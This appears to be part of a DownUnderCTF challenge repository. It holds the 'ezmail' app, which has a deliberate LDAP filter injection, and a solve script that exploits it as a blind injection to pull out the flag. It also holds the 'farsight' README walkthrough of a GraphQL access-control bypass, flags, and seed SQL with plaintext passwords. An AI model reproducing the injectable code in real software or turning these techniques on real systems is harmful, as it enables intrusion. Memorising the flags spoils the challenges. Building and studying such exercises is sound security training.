cn=brendafigueroa,ou=users,dc=ductf,dc=org member: cn=sarah68,ou=users,dc=ductf,dc=org member: cn=paulmarks,ou=users,dc=ductf,dc=org member: cn=emily92,ou=users,dc=ductf,dc=org member: cn=xporter,ou=users,dc=ductf,dc=org member: cn=williamsamy,ou=users,dc=ductf,dc=org member: cn=pthomas,ou=users,dc=ductf,dc=org member: cn=yclarke,ou=users,dc=ductf,dc=org member: cn=jesse02,ou=users,dc=ductf,dc=org member: cn=katherine78,ou=users,dc=ductf,dc=org member: cn=jeannemorgan,ou=users,dc=ductf,dc=org member: cn=aliciamueller,ou=users,dc=ductf,dc=org member: cn=kgates,ou=users,dc=ductf,dc=org member: cn=sstone,ou=users,dc=ductf,dc=org member: cn=longronald,ou=users,dc=ductf,dc=org member: cn=darren28,ou=users,dc=ductf,dc=org member: cn=patelkathryn,ou=users,dc=ductf,dc=org member: cn=camposnichole,ou=users,dc=ductf,dc=org member: cn=megan12,ou=users,dc=ductf,dc=org member: cn=jenniferwiley,ou=users,dc=ductf,dc=org member: cn=jenniferpalmer,ou=users,dc=ductf,dc=org member: cn=gnolan,ou=users,dc=ductf,dc=org member: cn=whayes,ou=users,dc=ductf,dc=org member: cn=josephrodriguez,ou=users,dc=ductf,dc=org member: cn=markcraig,ou=users,dc=ductf,dc=org member: cn=david30,ou=users,dc=ductf,dc=org member: cn=elliottlaurie,ou=users,dc=ductf,dc=org member: cn=kinglaura,ou=users,dc=ductf,dc=org member: cn=monica89,ou=users,dc=ductf,dc=org ================================================ FILE: web/ezmail/docker-compose.yml ================================================ services: ldap: image: docker.io/bitnami/openldap ports: - 1389:1389 - 1636:1636 environment: - LDAP_ROOT=dc=ductf,dc=org - LDAP_ADMIN_USERNAME=zzchallengeadmin - LDAP_ADMIN_PASSWORD=JeQ2MjV7qdQbvHQBkosr_k_Qw679leHv volumes: - ./data/users.ldif:/ldifs/users.ldif redis: image: redis ports: - 6379:6379 app: image: ezmail.web.ctf.local build: . environment: - REDIS_HOST=redis - LDAP_HOST=ldap:1389 ports: [ 8000:8000 ] links: [ ldap, redis ] ================================================ FILE: web/ezmail/flag.txt ================================================ DUCTF{th4t_w4snt_sqli_22a81af2} ================================================ FILE: web/ezmail/solve/solve.py ================================================ import time from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter import string import requests BASE_URL = 'http://localhost:8000' MAX_TRIES = 10 TARGET_USER = 'admin' CHARSET = list(sorted(ord(c) for c in string.ascii_lowercase + string.digits + '_')) adapter = HTTPAdapter(max_retries=Retry( total=3, backoff_factor=1, status_forcelist=[429], method_whitelist=["GET", "POST"] )) sess = requests.Session() sess.mount("https://", adapter) sess.mount("http://", adapter) n_requests = 0 start = time.time() # 0. Get a token token = sess.post(f"{BASE_URL}/token").json()["access_token"] def send_message(targets): global n_requests n_requests += 1 return sess.post(f"{BASE_URL}/message", json={ "recipients": targets, "content": "solving", "identity_provider": "ldap" }, headers={'Authorization': f'Bearer {token}'}).json() def message_status(msg_id): global n_requests n_requests += 1 return sess.get(f"{BASE_URL}/message/{msg_id}/status", headers={ 'Authorization': f'Bearer {token}' }).json() def message_info(msg_id): global n_requests n_requests += 1 return sess.get(f"{BASE_URL}/message/{msg_id}", headers={ 'Authorization': f'Bearer {token}' }).json() def send_and_process_msg(targets): msg_id = send_message(targets) n_tries = 0 while (status := message_status(msg_id)) not in ['failed', 'sent'] and n_tries < MAX_TRIES: n_tries += 1 time.sleep(0.1) assert n_tries < MAX_TRIES return message_info(msg_id) def encode(c): return f'\\{c:02x}' def guess_character(known): prefix = f"{TARGET_USER})(userPassword:2.5.13.18:=" + "".join(encode(ord(c)) for c in list(known)) # Naively just search everything for i in range(0, len(CHARSET), 8): guesses = [prefix+encode(c) for c in CHARSET[i:i+8]] msg = send_and_process_msg(guesses) if len(msg['recipients']) > 0: recipient = min(int(r.split('\\')[-1], 16) for r in msg['recipients']) return CHARSET[CHARSET.index(recipient) - 1] return None known = 'DUCTF{' while (c := guess_character(known)) is not None: known += chr(c) print(known, end="\r") print("FLAG:", known + '}') print("REQS:", n_requests) print("TIME:", time.time() - start) ================================================ FILE: web/ezmail/src/config.py ================================================ import os REDIS_HOST = os.environ.get("REDIS_HOST", "localhost") LDAP_HOST = os.environ.get("LDAP_HOST", "localhost:1389") SECRET_KEY = os.environ.get( "SECRET_KEY", "c39042a8731012ce0fbc06179044df22b493daefea4a58e606130b0127db325c" ) ================================================ FILE: web/ezmail/src/main.py ================================================ import json import uuid from typing import List import jose import jose.jwt from fastapi import (BackgroundTasks, Body, Depends, FastAPI, HTTPException, Request, Response, status) from fastapi.security import OAuth2PasswordBearer from slowapi import Limiter, _rate_limit_exceeded_handler from slowapi.util import get_ipaddr from slowapi.errors import RateLimitExceeded import config import message as msg_lib from models import (IdType, MessageInfo, MessageStatus, MessageToSend, TokenResponse, User, UserRole) openapi_description = """ API documentation for Ezmail Get started by requesting an anonymous api token! """.strip() limiter = Limiter(key_func=get_ipaddr) app = FastAPI(title="Ezmail", description=openapi_description) app.state.limiter = limiter app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler) oauth2_scheme = OAuth2PasswordBearer("token") def issue_token(user: User) -> str: # :thonk: return jose.jwt.encode( json.loads(user.json()), config.SECRET_KEY, algorithm="HS256" ) async def current_user(token: str = Depends(oauth2_scheme)) -> User: try: payload = jose.jwt.decode(token, config.SECRET_KEY) except jose.JWTError: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid token", headers={"WWW-Authenticate": "Bearer"}, ) return User(**payload) @app.get("/", include_in_schema=False) async def index(): return {"swagger": "/docs", "redoc": "/redoc", "openapi": "/openapi.json"} @app.post( "/message", status_code=status.HTTP_202_ACCEPTED, response_model=IdType, tags=["message"], ) @limiter.limit("4/second") async def send_message( request: Request, message: MessageToSend, background_tasks: BackgroundTasks, current_user: User = Depends(current_user), ): if len(message.recipients) > 8: raise HTTPException( status=status.HTTP_400_BAD_REQUEST, detail="Ezmail only supports messaging up to 8 people at a time", ) message_id = uuid.uuid4() await msg_lib.set_message_processing_status(message_id, "queued") background_tasks.add_task( msg_lib.send_message, MessageInfo( id=message_id, sender=current_user.user_id, recipients=message.recipients, content=message.content, ), message.identity_provider, ) return message_id @app.get( "/message/{message_id}", response_model=MessageInfo, responses={404: {"description": "Message could not be found. Check its status at /message/{message_id}/status"}}, tags=["message"] ) @limiter.limit("12/second") async def get_message(request: Request, message_id: IdType, current_user: User = Depends(current_user)): return await msg_lib.get_message(message_id) or Response( status_code=status.HTTP_404_NOT_FOUND ) @app.get("/message/{message_id}/status", response_model=MessageStatus, tags=["message"]) @limiter.limit("12/second") async def get_message_status( request: Request, message_id: IdType, current_user: User = Depends(current_user) ): return await msg_lib.get_message_processing_status(message_id) @app.get("/me/inbox", response_model=List[IdType], tags=["me"]) @limiter.limit("8/second") async def get_inbox(request: Request, current_user: User = Depends(current_user)): if current_user.user_role == UserRole.ANONYMOUS: raise HTTPException( status_code=status.HTTP_400_BAD_REQUEST, detail="Anonymous users cannot recieve messages", ) return await msg_lib.get_user_recv(current_user.user_id) @app.get("/me/sent", response_model=List[IdType], tags=["me"]) @limiter.limit("8/second") async def get_sendbox(request: Request, current_user: User = Depends(current_user)): return await msg_lib.get_user_sent(current_user.user_id) @app.get("/me", response_model=User, tags=["me"]) async def get_me(current_user: User = Depends(current_user)): return current_user @app.post("/token", response_model=TokenResponse, tags=["auth"]) @limiter.limit("24/minute") async def get_token(request: Request): return { "access_token": issue_token( User(user_id=uuid.uuid4(), user_role=UserRole.ANONYMOUS) ), "token_type": "bearer", } ================================================ FILE: web/ezmail/src/message.py ================================================ import logging import uuid from typing import Dict, List, Optional import aioredis import ldap3 import config from models import IdentityProviders, IdType, MessageInfo, MessageStatus redis = aioredis.from_url(f"redis://{config.REDIS_HOST}") ldap = ldap3.Server(config.LDAP_HOST) def ldap_to_ezmail_id(user_cns: List[str]) -> Dict[str, IdType]: ezmail_users = {} with ldap3.Connection( ldap, client_strategy=ldap3.SAFE_SYNC, auto_bind=True ) as conn: for user_cn in user_cns: success, _res_meta, res, _query_meta = conn.search( "dc=ductf,dc=org", f"(&(objectclass=*)(cn={user_cn}))", attributes=["uid"], ) if success: ezmail_users[user_cn] = uuid.UUID(res[0]["attributes"]["uid"][0]) return ezmail_users async def set_message_processing_status(message_id: IdType, status: MessageStatus): await redis.set(f"msg|{message_id.hex}|status", str(status)) async def get_message_processing_status(message_id: IdType) -> Optional[MessageStatus]: status = await redis.get(f"msg|{message_id.hex}|status") return status and MessageStatus(status.decode()) async def send_message(message_spec: MessageInfo, identity_provider: IdentityProviders): try: recipients = ldap_to_ezmail_id(message_spec.recipients) ezmail_recipients = list(recipients.values()) ldap_recipients = list(recipients.keys()) message_spec.recipients = ldap_recipients async with redis.pipeline(transaction=True) as pipe: tr = pipe.set(f"msg|{message_spec.id.hex}", message_spec.json()) tr.lpush(f"usr|{message_spec.sender.hex}|send", message_spec.id.hex) for recipient in ezmail_recipients: tr.lpush(f"usr|{recipient.hex}|recv", message_spec.id.hex) await tr.execute() await set_message_processing_status(message_spec.id, "sent") except Exception as e: logging.exception("An error occurred when sending a message") await set_message_processing_status(message_spec.id, "failed") async def get_message(message_id: IdType): msg = await redis.get(f"msg|{message_id.hex}") return msg and MessageInfo.parse_raw(msg.decode()) async def get_user_sent(user_id: IdType): msg_ids = await redis.lrange(f"usr|{user_id.hex}|send", 0, -1) return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids] async def get_user_recv(user_id: IdType): msg_ids = await redis.lrange(f"usr|{user_id.hex}|recv", 0, -1) return [uuid.UUID(hex=msg_id.decode()) for msg_id in msg_ids] ================================================ FILE: web/ezmail/src/models.py ================================================ import enum import uuid from typing import List, Literal import pydantic IdType = uuid.UUID class IdentityProviders(str, enum.Enum): LDAP = "ldap" class MessageStatus(str, enum.Enum): QUEUED = "queued" SENT = "sent" FAILED = "failed" class UserRole(str, enum.Enum): ANONYMOUS = "anonymous" LDAP_USER = "ldap" class MessageBase(pydantic.BaseModel): recipients: List[str] content: str class MessageToSend(MessageBase): identity_provider: IdentityProviders class MessageInfo(MessageBase): id: IdType sender: uuid.UUID class User(pydantic.BaseModel): user_id: IdType user_role: UserRole class TokenResponse(pydantic.BaseModel): access_token: str token_type: Literal["bearer"] ================================================ FILE: web/farsight/.dockerignore ================================================ node_modules/* scripts/* flag.txt *.db ================================================ FILE: web/farsight/Dockerfile ================================================ FROM node:16 as base FROM base as build WORKDIR /build COPY ./package*.json ./ COPY tsconfig.json . COPY src src RUN npm install RUN npx tsc --build FROM base as dist WORKDIR /srv COPY --from=build /build/package.json /srv/ COPY --from=build /build/node_modules/ /srv/node_modules/ COPY ./src/assets/ /srv/app/assets/ COPY --from=build /build/build/ /srv/app/ COPY ./frontend /srv/frontend ENTRYPOINT [ "node", "app/app.js" ] ================================================ FILE: web/farsight/README.md ================================================ # FarSight **Category**: Web **Difficulty**: Easy - Medium **Author**: todo#7331 ## Flavour _I've recently learned about graphql so I used it to build a site that lets you host markdown pages. We're still developing the application and have a few upcoming beta features!_ **The scope of this challenge is limited to the challenge domain _only_. There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_. Do not exploit any sites outside of the ductf domain.** ## Description This is largely a discovery related challenge with an access control bypass to get the flag. Player are first expected to use graphql introspection to reveal the some beta queries, fields and mutations. These beta features then have a vulnerability which allows players to bypass access controls (which are only set on the root queries and not the nodes), in order to access all info. ## Writeup _A solve script can be found in ./solve_ 1. The player notices that graphql is being used. 2. The player either manually sends a introspection query to the graphql endpoint, or uses a tool such as insomnia to perform the discovery. 3. The player noticies the presence of the `importPage` mutation and the `ownerSite` field on `Site`, both of which are marked as `beta`. 4. The player notices the `please do not store secrets` message in the description of site `config`. 5. It is therefore reasonable that we should snoop on other player's site descriptions. 6. The player discovers that they can import anyone's page into their site. They import the first few pages (I think just one is enough) 7. The player then bypasses auth checks, which are only enforced on the root query resolver, by using the `ownerSite` field on a imported site to access a site they do not own. 8. The player finds the flag in the config of the site belonging to `admin` ### Guessing Since this is a discovery challenge there are some bits that may be a bit "guessy". 1. Players have to guess that auth is only enforced on the root resolver. I think this is fine, as its something users should test anyway. 2. Players have to guess to look at the first few pages (i.e. those with low ids). This may be a bit more problematic, but looking at the first few pages seems natrual. ## Running `docker-compose up --build` This challenge can be shared between teams. - Players should only have access to create pages, page refs and accounts. - Teams could possibly create pages with explicit content and then have other teams import those pages. - Teams could login as each other if they use weak passwords. ================================================ FILE: web/farsight/challenge.yml ================================================ version: "0.1" id: farsight name: Farsight category: web description: | _I've recently learned about graphql so I used it to build a site that lets you host markdown pages._ _We're still developing the application and have a few upcoming beta features!_ **The scope of this challenge is limited to the challenge domain _only_.** There are autogenerated links and images to domains external to ductf. These links and images are only present to add flavour to the challenge and are _NOT within scope_. **Do not exploit any sites outside of the ductf domain.** Author: todo#7331 connection_info: ${url} tags: - easy flags: - DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179} ================================================ FILE: web/farsight/data/1-schema.sql ================================================ BEGIN; DROP TABLE IF EXISTS page_ref; DROP TABLE IF EXISTS page; DROP TABLE IF EXISTS site; DROP TABLE IF EXISTS "user"; CREATE TABLE "user" ( id SERIAL PRIMARY KEY, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL ); CREATE TABLE site ( id SERIAL PRIMARY KEY, name TEXT NOT NULL, public BOOLEAN NOT NULL, config TEXT NOT NULL, owner INTEGER NOT NULL REFERENCES "user"(id) ); CREATE TABLE page ( id SERIAL PRIMARY KEY, name TEXT NOT NULL, content TEXT NOT NULL, site INTEGER NOT NULL REFERENCES site(id) ); CREATE TABLE page_ref ( site INTEGER NOT NULL REFERENCES site(id), page INTEGER NOT NULL REFERENCES page(id) ); COMMIT; ================================================ FILE: web/farsight/data/2-data.sql ================================================ BEGIN; INSERT INTO "user"(id, username, password) VALUES (0, 'admin', 'HkQNptP8!4'), (1, 'colonhayley', '6mF07lCl+Q'), (2, 'arojas', 'ZurB3Crs#C'), (3, 'jeremy16', 'U7xWXx#R+t'), (4, 'tblackburn', ')NF39A9hD8'), (5, 'rebeccasmith', 'e_z7jY_xkP'), (6, 'michael77', '@P5BP)nmH%'), (7, 'gilbertamy', 'A&21HdklYp'), (8, 'matthewhayes', '*!yxDjH@4&'), (9, 'ronaldmoore', '$NPHyztx4p'), (10, 'dawnreynolds', '&4xSuruZ5U'), (11, 'andrearamirez', '#a7P!k3jRk'), (12, 'dalvarez', 'Y0^PIj^g$1'), (13, 'jill56', 'a0_X9hTx$r'), (14, 'kevinmills', '&R8VJgmy%g'), (15, 'douglas85', '+9aWq*u3#@'); ALTER SEQUENCE user_id_seq RESTART WITH 16; INSERT INTO site(id, name, public, owner, config) VALUES (0, 'admin''s Site', FALSE, 0, '{"color": "red", "background": "#eeffcc", "flag": "DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179}"}'), (1, 'colonhayley''s Site', FALSE, 1, '{"color": "black", "background": "white"}'), (2, 'arojas''s Site', FALSE, 2, '{"color": "black", "background": "#ddd"}'), (3, 'jeremy16''s Site', FALSE, 3, '{"color": "red", "background": "#eeffcc"}'), (4, 'tblackburn''s Site', TRUE, 4, '{"color": "red", "background": "#ddd"}'), (5, 'rebeccasmith''s Site', FALSE, 5, '{"color": "black", "background": "#eeffcc"}'), (6, 'michael77''s Site', FALSE, 6, '{"color": "black", "background": "#eeffcc"}'), (7, 'gilbertamy''s Site', FALSE, 7, '{"color": "black", "background": "#ddd"}'), (8, 'matthewhayes''s Site', TRUE, 8, '{"color": "black", "background": "#eeffcc"}'), (9, 'ronaldmoore''s Site', FALSE, 9, '{"color": "green", "background": "#ddd"}'), (10, 'dawnreynolds''s Site', FALSE, 10, '{"color": "green", "background": "#ddd"}'), (11, 'andrearamirez''s Site', TRUE, 11, '{"color": "green", "background": "white"}'), (12, 'dalvarez''s Site', FALSE, 12, '{"color": "red", "background": "#ddd"}'), (13, 'jill56''s Site', FALSE, 13, '{"color": "black", "background": "#eeffcc"}'), (14, 'kevinmills''s Site', FALSE, 14, '{"color": "black", "background": "#eeffcc"}'), (15, 'douglas85''s Site', FALSE, 15, '{"color": "black", "background": "#eeffcc"}'); ALTER SEQUENCE site_id_seq RESTART WITH 16; INSERT INTO page(id, name, content, site) VALUES (0, 'Flags and Configurations','# Flags and configurations\n\nThere might be something interesting in the configuration for this site `;)`',0), (1, 'war',replace('Possible lead draw learn city. Tree care sign arm bar military.\n\n\n\n[Now from her gun subject PM.](http://white.com/)\n\n# Cover including artist find hope appear should represent.\n\n + Approach great top series public none.\n\n|Include air sort couple hold group but.|Again identify real to follow so.|Live teach movie I situation understand agree.|\n|---------------------------------------|---------------------------------|----------------------------------------------|\n|Believe step four western likely almost training.|Source where a front war receive civil single.|Policy drug these person.|\n|Lot thousand question.|Difficult player forget.|Goal clear inside guy north.|\n|North add us accept hope soon.|Affect station member although.|Of challenge check skin.|\n|Industry nothing rather.|Two hair describe hundred candidate.|Probably whom it job likely different house.|\n\n\n*However ok structure your those head against.*\n1. Theory everybody particularly test hospital personal move.\n1. Certain hotel should.\n1. Item bit leave left college listen.\n\n*Truth ten seven both happy central group line.*\nsome\n5. Cultural whatever computer.\n\n1. Fast play fact issue radio especially.\n1. Get car party close issue.\n1. Less politics religious back international risk.\n\nDebate direction moment standard. Tonight perhaps explain soldier range sort.\n\n|Significant energy citizen physical why mouth.|Treatment worker season figure.|Get we memory who yet spend.|\n|----------------------------------------------|-------------------------------|----------------------------|\n|Challenge on plant wonder.|Blood single recently other owner message entire.|Collection be along break gun reveal five put.|\n|Once effect main simply two no.|Sister meet though ago.|These military part decade.|\n|Enough onto try commercial kid approach.|Upon beautiful open free medical lay.|Per environmental medical nearly hour enter discover.|\n|City system story century attention attention.|Not improve begin lot sport father.|Speech catch ten statement carry next.|\n\n\nAlmost identify record.\n\n***\n\nplay\nResearch blood list girl sister their rate.\n\n - Dinner stuff find different many.\n\n**your**\n','\n',chr(10)),1), (2, 'unit begin fight institution school',replace('Discuss very score loss.\n\n\n\nPrevent hear trouble it grow.\n-----------------------------\n\n```improve\nLook fact land general. Sea upon full director race.\n```\n\nMessage woman with not peace put maybe.\n---------------------------------------\n\n|Military ability line hour wear star.|Worker offer American behavior customer force.|Congress recognize agreement well.|\n|-------------------------------------|----------------------------------------------|----------------------------------|\n|Him above bring.|Paper tree bank letter summer minute perform indeed.|Computer doctor up high southern job high.|\n|Past especially old.|Still quality political other begin war.|Evening realize per probably.|\n|Debate wish floor inside matter nice.|Buy throw like lawyer fund indicate help.|Measure star tell law go simple improve.|\n|Rich accept if share land involve education.|Cell kid growth main use chance story.|Could usually piece but.|\n\n\n[Choice already thank source.](https://lopez.com/)\n\n1. Thought radio minute rich consumer type.\n1. Old charge read management production up our allow.\n1. Toward such new cultural analysis care kitchen.\n_Difference range technology serious international position write those._\n*Rate clear newspaper ground just keep production.*\n**audience**\n1. Detail box choose view.\n1. Remain decide happy another image because include.\n1. Them in decision above you carry poor.\n---\n\n---\n\n[Herself Mr bad wide manage.](http://www.jensen-ward.com/)\n\nShould dream whose.\n\n + Onto when happen.\n\n> Election order everything stuff detail himself medical.\n\n1. Direction opportunity very analysis firm once.\n1. As year look floor role agency its.\n1. Seven those budget involve.\n\n 4. Evening his gas health sort couple station my.\n\n','\n',chr(10)),1), (3, 'need claim many against television',replace('4. General yet party individual.\n\nNow minute technology only magazine. Subject development best student describe concern \nprofessional.\n\nCut recognize keep citizen result thus. System democratic stock worker everybody professor \nshow.\n\nProduce foreign the site.\n\n\n\n - Never ten become me story but order.\n\n> You company drop join recognize all structure.\n\n + Away wish finish within president.\n\n1. Any remain support realize cause.\n1. Argue home exactly different week treat mouth threat.\n1. Interest college anything relationship.\n![Air ball better consumer campaign join.](https://picsum.photos/321 "Including month matter environmental issue recently until. Remember take ground eat. Sometimes small control work name.")\n\n1. Reveal so suggest.\n1. Include herself hold his.\n1. Manage camera beat activity stay bank which.\n\n***\n\n1. Late every include generation how risk.\n1. Only scientist teach seven.\n1. Memory attack land.\n_**Outside they eye out.**_\n|Happen white maybe read card look.|Part fund feeling cause stand.|Give point herself official receive may.|\n|----------------------------------|------------------------------|----------------------------------------|\n|Successful country describe method meeting space military.|Sing media step live game item lay.|Appear role why learn attention cut billion.|\n|Without wall stay describe time.|Community whole growth speech across yard admit parent.|Story financial state hotel.|\n|Scene teach because it boy agent common.|Mother good decade TV culture continue condition probably.|Option imagine physical treat dinner able job page.|\n|Maybe information forward trouble.|Country article will firm woman section magazine loss.|Especially position learn senior today mention.|\n\n\n***Resource part instead city type short rather.***\nSignificant stuff section lot rather beyond share energy. Play meeting movie \navoid.\n\n 5. Part wind well.\n\n|His within though finish star be.|Popular see different decide trip total.|Out human night.|\n|---------------------------------|----------------------------------------|----------------|\n|Image throughout western world area.|There certainly walk camera debate western store.|Light environmental deep range ten television model.|\n|Then police choice cell.|Care yet well according star study form.|Beat debate late radio.|\n|Movie base firm himself idea lose international.|Trade century hundred themselves.|Challenge audience choose himself north professional.|\n|Environment few voice thank local option five.|Level generation since also himself with garden mention.|Off little happy short during.|\n\n\n\n\n','\n',chr(10)),1), (4, 'always hand game',replace('**meeting**\n[Ability possible door pressure sea thought.](http://www.castillo.biz/)\n\n```effect\nLow trial religious your outside wish community kid. Foreign involve show ten century involve down herself.\n```\n\n1. Effort drop onto until head.\n1. Draw front plan focus century service nearly.\n1. Relate others throw land daughter consider group.\n\n**security**\n_**Must toward family event.**_\n - Such firm again court culture story.\n\n\n\n\n\n##### Just nature increase trouble heart watch bed.\n\nbenefit\n[Wrong take old former run others believe.](http://www.kramer.com/)\n\n```truth\nReport sign office until particularly when. Everyone city contain week carry. Election small certainly pattern daughter. Together professional wind consider.\n```\n\nper\n**adult**\n*Mrs look call spring establish together.*\n> System term social say about century debate officer.\n\nCamera machine American five detail company.\n\n\n\n[Glass evening much why.](http://long.org/)\n\n','\n',chr(10)),1), (5, 'nation',replace('\n\n```so\nMention general television save himself call. Notice prevent figure kitchen seven write decision. Hot because movement business pull.\n```\n\n\n\n1. Thought nature moment despite.\n1. Course teacher message page.\n1. Officer police it house political energy song.\n***Owner ahead generation shoulder day popular window key.***\n + Stay century law before everybody.\n\n[Hot scene view today father.](http://www.wood-howell.com/)\n\n * Important they tax machine.\n\nMilitary plan school certainly.\n\n - Focus raise away tough subject customer far.\n\n','\n',chr(10)),1), (6, 'prepare scene house central',replace('> Picture choice could own glass.\n\n 1. Chance of enter deep walk cause trouble movie.\n\n![Federal like be.](https://picsum.photos/272 "Big early amount team. Beat start say either none heavy down business. Way sister civil market value during difficult religious.\nSummer specific option concern. Evidence especially life sister.")\n\n[Represent resource pretty write.](http://wallace.com/)\n\n*Tough fill happy last hit.*\n7. Appear since experience perform interest particularly notice.\n\n3. Civil account blood his either.\n\n[Enter identify participant environmental them really debate.](https://www.johnson.com/)\n\n___\n\n + Single camera political economic seven treatment.\n\n','\n',chr(10)),1), (7, 'community study into job',replace('___\n\n***Black because song capital administration sound teach hit.***\nPm benefit arm subject over feeling. Buy protect front why ability fund front.\n\n1. Drug thing number end commercial.\n1. Hundred billion blue right fine boy sing.\n1. Bill pattern scientist early.\n\nreturn\nKnow close election stop.\n\nKey story agree her.\n\n1. Beyond bar shoulder decade.\n1. Director population measure student cost policy.\n1. Open wife owner.\n\n***\n\n> Message list table scene thing responsibility.\n\n> General simple cost develop left.\n\nquestion\n 10. Head perform walk.\n\nWord learn military. Cup home record forward.\n\n**cell**\n![Man throughout society.](https://picsum.photos/213 "Activity note attention yeah process rest. If everything bad age local season school. Culture far share.")\n\nReturn few natural fight stand one significant get.\n---------------------------------------------------\n\n_Financial race wrong discuss agency fund._\n1. Theory simply concern page director writer act.\n1. Would truth join issue face key when.\n1. City citizen to.\nList run safe figure.\n---------------------\n\n','\n',chr(10)),1), (8, 'star forward leave art practice',replace('1. Us lawyer finally until help.\n1. Interest amount understand hard.\n1. Final ability person choose order.\n\nPower one after score career big remember.\n------------------------------------------\n\n```case\nStar various item boy response. Would road collection big talk role instead.\n```\n\n + Phone when room network.\n\n```simple\nTo more food recognize national training. Not before painting sure whom.\n```\n\n***\n\n1. Wall measure again ability election.\n1. Present carry break majority low.\n1. Every end catch American.\n#### Spend food world believe soldier certain.\n\n**customer**\n_Pay real good human._\n![Simple wrong newspaper allow forward.](https://picsum.photos/457 "Whom inside establish. Turn another wonder reveal. Possible account question dinner write usually.\nHard week model box market. Particular available expect really amount accept sometimes.")\n\n|Half sign admit hair look too.|Top his outside project us pass management serious.|Child investment yourself still.|\n|------------------------------|---------------------------------------------------|--------------------------------|\n|Education red citizen notice feeling.|Better child computer either.|Fly rock make build painting either.|\n|Heart message matter position water.|Instead room seven reveal whole.|New weight everything specific ahead quickly.|\n|Way glass line knowledge season region.|Official south senior parent decision involve despite.|Small law campaign value.|\n|Suffer team word major western education.|Remember rich yeah simple guess member.|Spend practice organization fill can cause.|\n\n\n![Value create agree likely.](https://picsum.photos/461 "Anything pick none none ball ground candidate. Tree amount billion beyond quality fill final. Half side price little identify degree individual environment.")\n\nPainting role company produce clear various production your.\n\n|Her serve finally task.|Country power police.|Summer city when bag.|\n|-----------------------|---------------------|---------------------|\n|Time to black her become less production.|Around both place strong.|Throughout example office between table tonight suddenly idea.|\n|Most reflect shake phone.|End time trouble stay beat PM.|Put lay too strong forward interesting.|\n|Learn argue glass matter upon.|Call share its guess.|Building care door natural produce.|\n|Operation point loss mean production establish.|Adult range true even matter.|Find community any morning.|\n\n\n_No none say heart information part full._\n_Certain return suddenly wish loss cause base._\n> Share body fly find.\n\n## She push serve rule thus.\n\n_**People worker time decide rest others development.**_\n','\n',chr(10)),1), (9, 'up add subject',replace('Sell idea school still up radio try.\n\n_**Local week color wait.**_\n|Thank establish subject clearly.|Product building view its.|Break voice middle reflect.|\n|--------------------------------|--------------------------|---------------------------|\n|Smile reveal third option.|None position hand benefit.|By of mission parent shake now owner.|\n|Cell style believe tough.|Concern reach every put.|Knowledge report national senior.|\n|Activity country itself eat former into.|Foreign loss manage each.|General college bed everybody.|\n|According speech personal task same yourself front.|Suddenly really social standard even exist identify.|Speak lay born.|\n\n\n1. Form parent majority know participant.\n1. Increase ago surface weight.\n1. Back ten mention laugh.\n1. Traditional start fund reality.\n1. Growth opportunity spend behavior both long toward.\n1. Agree tax form great education.\n 6. Find knowledge treatment.\n\n> Address star role yard son speech Democrat.\n\nGive song computer respond current wife budget.\n-----------------------------------------------\n\n---\n\n> Few eight your still.\n\ntreatment\n##### Agree weight statement statement unit in.\n\n_Economic attack food laugh newspaper part better._\n1. She open answer where.\n1. Degree article available possible order.\n1. Manage probably minute offer.\n![Change suffer space a.](https://picsum.photos/357 "Pretty thus society oil activity include. Forget evidence short star. Nor goal rich study others. Across do issue let spend compare.")\n\n - Type speech other question indeed.\n\n1. Wind answer stock full road nothing defense.\n1. Budget serious form fight century.\n1. Result every war something book notice society.\n*Society size improve hit.*\nThis read guy animal pattern direction. Human difference rock music check close agreement. \nCapital white yet people. National eight she hand.\n\n 7. Middle resource project.\n\n***\n\n*Technology similar seem operation cover program.*\n_**Man story around enter blue.**_\n|True discussion without current rate.|Movement edge collection which.|Agree move analysis its body source.|\n|-------------------------------------|-------------------------------|------------------------------------|\n|Memory say together bit wish.|Good challenge business rule sometimes serve community.|East trouble two oil drive.|\n|Song group environmental foreign threat billion worry.|Stage goal can value leave should five.|Find cell animal ready at order attention both.|\n|Discuss personal interesting phone on far.|Travel not identify score model dinner simply.|President board bring painting.|\n|Group member it chance our.|Will consider probably against.|Bill fire through bill.|\n\n\nSave local past two. Expert thing bed among understand else represent. Yard tough employee situation red. \n\n**attorney**\n\n\n_**Gas fly drug.**_\n![With travel responsibility cut hour pick.](https://picsum.photos/389 "Hundred owner nation this fire. Century strong anything trial factor culture. Drug north shake property fish plan.")\n\n[Candidate defense discussion cell among.](http://santos-foster.org/)\n\n![Personal which reflect decision particular network pull.](https://picsum.photos/476 "Serious leader note understand enough production scene. Of wind white message laugh billion. Staff follow baby job game according board whole. Strategy black cultural pull above us.")\n\n*Tax method six enough war.*\n_Land live former serve office owner over family._\n*Child lead sport everything.*\n___\n\nReport necessary lawyer else behind.\n------------------------------------\n\nAppear economy whom forward arm prove community.\n\n***\n\n![Third and mean five establish.](https://picsum.photos/278 "Floor world give after large performance grow past. Make knowledge during whom box. Herself society position. Structure foot question learn economic recent let receive.")\n\n\n\n```artist\nOccur music item land commercial. Well far summer game ever hospital.\n```\n\n 3. Career wind form nor.\n\n**analysis**\n\n\n - General nor administration open act.\n\n***Garden worry put he ask could.***\n**entire**\n---\n\n![Defense modern outside voice.](https://picsum.photos/448 "Five old personal benefit. Group life land house. Best change talk conference language ball.")\n\n\n\n','\n',chr(10)),2), (10, 'cold store',replace('[Performance city test direction call adult toward.](https://romero-robinson.org/)\n\n_**Receive even health television perhaps where dinner.**_\n[System participant card effect water.](http://www.cunningham-stanley.info/)\n\n_Partner son air out price interest finally._\n___\n\nWhatever employee remember out some.\n\n*Space water realize market walk also traditional.*\n1. Dark factor tell billion establish character.\n1. Film clearly decide officer sometimes.\n1. Bit your education expert.\n\n 6. Everything war he including.\n\n9. Night personal sure whether visit speak ahead rock.\n\n','\n',chr(10)),2), (11, 'some three onto director',replace('1. Wear base worry economic shoulder gas.\n1. American call statement specific.\n1. Special might wish street space human.\nPay cover follow never. American tonight try PM.\n\n```while\nNow population in full billion rise. Event under same commercial.\n```\n\n![Itself tax activity mission industry skin.](https://picsum.photos/383 "Speech pattern surface play. Young 